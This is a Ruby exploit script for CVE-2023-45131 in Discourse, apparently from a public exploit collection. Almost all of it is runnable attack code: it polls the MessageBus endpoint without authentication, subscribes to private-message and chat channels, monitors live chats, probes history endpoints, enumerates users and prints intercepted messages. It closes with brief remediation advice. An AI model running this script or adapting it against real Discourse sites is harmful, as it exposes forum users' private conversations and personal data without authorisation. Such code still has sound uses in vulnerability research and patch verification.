#!/usr/bin/env ruby # Title : Discourse 3.1.1 - Unauthenticated Chat Message Access # CVE-2023-45131 # CVSS: 7.5 (High) # Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2 # Author ibrahimsql @ https://twitter.com/ibrahmsql # Date: 2023-12-14 require 'net/http' require 'uri' require 'json' require 'openssl' require 'base64' class CVE202345131 def initialize(target_url) @target_url = target_url.chomp('/') @results = [] @message_bus_client_id = nil @csrf_token = nil end def run_exploit puts "\n[*] Testing CVE-2023-45131: Discourse Unauthenticated Chat Message Access" puts "[*] Target: #{@target_url}" puts "[*] CVSS Score: 7.5 (High)" puts "[*] Affected: Discourse < 3.1.1 stable, < 3.2.0.beta2\n" # Test MessageBus access test_messagebus_access test_chat_channel_enumeration test_private_message_access test_real_time_monitoring test_message_history_access test_user_enumeration_via_chat generate_report @results end private def test_messagebus_access puts "[*] Testing MessageBus unauthenticated access..." begin # Get MessageBus client ID uri = URI("#{@target_url}/message-bus/poll") response = make_request(uri, 'GET') if response && response.code == '200' begin data = JSON.parse(response.body) if data.is_a?(Array) && !data.empty? @message_bus_client_id = extract_client_id(response) @results << { vulnerability: "MessageBus Access", severity: "High", description: "Unauthenticated access to MessageBus endpoint confirmed", impact: "Can monitor real-time messages and notifications", client_id: @message_bus_client_id } puts "[+] MessageBus access confirmed - Client ID: #{@message_bus_client_id}" return true end rescue JSON::ParserError # Try alternative endpoints test_alternative_messagebus_endpoints end end rescue => e puts "[!] Error testing MessageBus access: #{e.message}" end false end def test_alternative_messagebus_endpoints puts "[*] Testing alternative MessageBus endpoints..." endpoints = [ "/message-bus/poll", "/message-bus/subscribe", "/message-bus/diagnostics", "/message-bus/long-poll" ] endpoints.each do |endpoint| begin uri = URI("#{@target_url}#{endpoint}") response = make_request(uri, 'GET') if response && response.code == '200' if response.body.include?('message-bus') || response.body.include?('clientId') @results << { vulnerability: "Alternative MessageBus Endpoint", severity: "Medium", endpoint: endpoint, description: "Alternative MessageBus endpoint accessible", impact: "Potential message monitoring capability" } puts "[+] Alternative endpoint accessible: #{endpoint}" end end rescue => e puts "[!] Error testing endpoint #{endpoint}: #{e.message}" end end end def test_chat_channel_enumeration puts "[*] Testing chat channel enumeration..." return unless @message_bus_client_id begin # Try to enumerate chat channels uri = URI("#{@target_url}/message-bus/poll") # Subscribe to chat channels data = { '/chat/new-messages' => -1, '/chat/channel-status' => -1, '/chat/user-tracking' => -1, 'clientId' => @message_bus_client_id } response = make_request(uri, 'POST', data) if response && response.code == '200' begin messages = JSON.parse(response.body) if messages.is_a?(Array) && !messages.empty? chat_channels = extract_chat_channels(messages) if !chat_channels.empty? @results << { vulnerability: "Chat Channel Enumeration", severity: "High", channels: chat_channels, description: "Enumerated accessible chat channels", impact: "Can identify active chat channels and participants" } puts "[+] Chat channels enumerated: #{chat_channels.join(', ')}" end end rescue JSON::ParserError => e puts "[!] Error parsing chat channel response: #{e.message}" end end rescue => e puts "[!] Error enumerating chat channels: #{e.message}" end end def test_private_message_access puts "[*] Testing private message access..." return unless @message_bus_client_id begin # Try to access private messages uri = URI("#{@target_url}/message-bus/poll") # Subscribe to private message channels data = { '/private-messages' => -1, '/chat/private' => -1, '/notification' => -1, 'clientId' => @message_bus_client_id } response = make_request(uri, 'POST', data) if response && response.code == '200' begin messages = JSON.parse(response.body) if messages.is_a?(Array) private_messages = extract_private_messages(messages) if !private_messages.empty? @results << { vulnerability: "Private Message Access", severity: "Critical", messages: private_messages, description: "Accessed private chat messages without authentication", impact: "Complete breach of private communication confidentiality" } puts "[+] Private messages accessed: #{private_messages.length} messages found" # Log sample messages (redacted) private_messages.first(3).each_with_index do |msg, idx| puts " [#{idx + 1}] #{redact_message(msg)}" end end end rescue JSON::ParserError => e puts "[!] Error parsing private message response: #{e.message}" end end rescue => e puts "[!] Error accessing private messages: #{e.message}" end end def test_real_time_monitoring puts "[*] Testing real-time message monitoring..." return unless @message_bus_client_id begin puts "[*] Monitoring for 10 seconds..." start_time = Time.now monitored_messages = [] while (Time.now - start_time) < 10 uri = URI("#{@target_url}/message-bus/poll") data = { '/chat/new-messages' => 0, 'clientId' => @message_bus_client_id } response = make_request(uri, 'POST', data) if response && response.code == '200' begin messages = JSON.parse(response.body) if messages.is_a?(Array) && !messages.empty? new_messages = extract_new_messages(messages) monitored_messages.concat(new_messages) end rescue JSON::ParserError # Continue monitoring end end sleep(1) end if !monitored_messages.empty? @results << { vulnerability: "Real-time Message Monitoring", severity: "High", messages_count: monitored_messages.length, description: "Successfully monitored real-time chat messages", impact: "Can intercept live communications" } puts "[+] Real-time monitoring successful: #{monitored_messages.length} messages intercepted" else puts "[-] No real-time messages detected during monitoring period" end rescue => e puts "[!] Error during real-time monitoring: #{e.message}" end end def test_message_history_access puts "[*] Testing message history access..." begin # Try to access message history through various endpoints history_endpoints = [ "/chat/api/channels", "/chat/api/messages", "/chat/history", "/api/chat/channels.json" ] history_endpoints.each do |endpoint| uri = URI("#{@target_url}#{endpoint}") response = make_request(uri, 'GET') if response && response.code == '200' begin data = JSON.parse(response.body) if data.is_a?(Hash) && (data['messages'] || data['channels'] || data['chat']) @results << { vulnerability: "Message History Access", severity: "High", endpoint: endpoint, description: "Accessed chat message history without authentication", impact: "Historical chat data exposure" } puts "[+] Message history accessible via: #{endpoint}" end rescue JSON::ParserError # Check for HTML responses that might contain chat data if response.body.include?('chat') && response.body.include?('message') @results << { vulnerability: "Message History Exposure", severity: "Medium", endpoint: endpoint, description: "Chat-related content found in response", impact: "Potential information disclosure" } puts "[+] Chat-related content found in: #{endpoint}" end end end end rescue => e puts "[!] Error testing message history access: #{e.message}" end end def test_user_enumeration_via_chat puts "[*] Testing user enumeration via chat features..." begin # Try to enumerate users through chat-related endpoints user_endpoints = [ "/chat/api/users", "/chat/users.json", "/api/chat/users", "/chat/members" ] user_endpoints.each do |endpoint| uri = URI("#{@target_url}#{endpoint}") response = make_request(uri, 'GET') if response && response.code == '200' begin data = JSON.parse(response.body) if data.is_a?(Hash) && (data['users'] || data['members']) users = extract_users_from_chat(data) if !users.empty? @results << { vulnerability: "User Enumeration via Chat", severity: "Medium", endpoint: endpoint, users_count: users.length, sample_users: users.first(5), description: "Enumerated chat users without authentication", impact: "User information disclosure" } puts "[+] Users enumerated via #{endpoint}: #{users.length} users found" end end rescue JSON::ParserError # Continue with next endpoint end end end rescue => e puts "[!] Error testing user enumeration: #{e.message}" end end def extract_client_id(response) # Extract client ID from response headers or body if response['X-MessageBus-Client-Id'] return response['X-MessageBus-Client-Id'] end # Try to extract from response body begin data = JSON.parse(response.body) if data.is_a?(Hash) && data['clientId'] return data['clientId'] end rescue JSON::ParserError end # Generate a random client ID SecureRandom.hex(16) end def extract_chat_channels(messages) channels = [] messages.each do |message| if message.is_a?(Hash) if message['channel'] && message['channel'].include?('/chat/') channels << message['channel'] elsif message['data'] && message['data'].is_a?(Hash) if message['data']['channel_id'] channels << "Channel #{message['data']['channel_id']}" end end end end channels.uniq end def extract_private_messages(messages) private_msgs = [] messages.each do |message| if message.is_a?(Hash) if message['channel'] && (message['channel'].include?('/private') || message['channel'].include?('/chat/private')) private_msgs << { channel: message['channel'], data: message['data'], timestamp: message['timestamp'] || Time.now.to_i } elsif message['data'] && message['data'].is_a?(Hash) if message['data']['message'] || message['data']['content'] private_msgs << { content: message['data']['message'] || message['data']['content'], user: message['data']['user'] || message['data']['username'], timestamp: message['data']['timestamp'] || Time.now.to_i } end end end end private_msgs end def extract_new_messages(messages) new_msgs = [] messages.each do |message| if message.is_a?(Hash) && message['data'] new_msgs << { channel: message['channel'], data: message['data'], timestamp: Time.now.to_i } end end new_msgs end def extract_users_from_chat(data) users = [] if data['users'] && data['users'].is_a?(Array) data['users'].each do |user| if user.is_a?(Hash) users << { username: user['username'], id: user['id'], name: user['name'] } end end elsif data['members'] && data['members'].is_a?(Array) data['members'].each do |member| if member.is_a?(Hash) users << { username: member['username'] || member['user'], id: member['id'] || member['user_id'] } end end end users end def redact_message(message) if message.is_a?(Hash) content = message[:content] || message['content'] || message[:data] || 'N/A' user = message[:user] || message['user'] || 'Unknown' "User: #{user}, Content: #{content.to_s[0..50]}..." else message.to_s[0..50] + "..." end end def make_request(uri, method = 'GET', data = nil, headers = {}) begin http = Net::HTTP.new(uri.host, uri.port) http.use_ssl = (uri.scheme == 'https') http.verify_mode = OpenSSL::SSL::VERIFY_NONE if http.use_ssl? http.read_timeout = 10 http.open_timeout = 10 request = case method.upcase when 'GET' Net::HTTP::Get.new(uri.request_uri) when 'POST' req = Net::HTTP::Post.new(uri.request_uri) if data if data.is_a?(Hash) req.set_form_data(data) else req.body = data req['Content-Type'] = 'application/json' end end req end # Set headers request['User-Agent'] = 'Mozilla/5.0 (compatible; DiscourseMap/2.0)' request['Accept'] = 'application/json, text/javascript, */*; q=0.01' request['X-Requested-With'] = 'XMLHttpRequest' headers.each { |key, value| request[key] = value } response = http.request(request) return response rescue => e puts "[!] Request failed: #{e.message}" return nil end end def generate_report puts "\n" + "="*60 puts "CVE-2023-45131 Exploitation Report" puts "="*60 puts "Target: #{@target_url}" puts "Vulnerabilities Found: #{@results.length}" if @results.empty? puts "[+] No chat message access vulnerabilities detected" else puts "\n[!] VULNERABILITIES DETECTED:" @results.each_with_index do |result, index| puts "\n#{index + 1}. #{result[:vulnerability]}" puts " Severity: #{result[:severity]}" puts " Description: #{result[:description]}" puts " Impact: #{result[:impact]}" if result[:messages_count] puts " Messages Found: #{result[:messages_count]}" end if result[:channels] puts " Channels: #{result[:channels].join(', ')}" end if result[:endpoint] puts " Endpoint: #{result[:endpoint]}" end end puts "\n[!] REMEDIATION:" puts "1. Update Discourse to version 3.1.1 stable or 3.2.0.beta2 or later" puts "2. Implement proper authentication for MessageBus endpoints" puts "3. Review and restrict access to chat-related APIs" puts "4. Monitor MessageBus access logs for suspicious activity" puts "5. Consider disabling chat features if not required" end puts "\n" + "="*60 end end # Run the exploit if called directly if __FILE__ == $0 if ARGV.length != 1 puts "Usage: ruby #{$0} " puts "Example: ruby #{$0} https://discourse.example.com" exit 1 end target_url = ARGV[0] exploit = CVE202345131.new(target_url) exploit.run_exploit end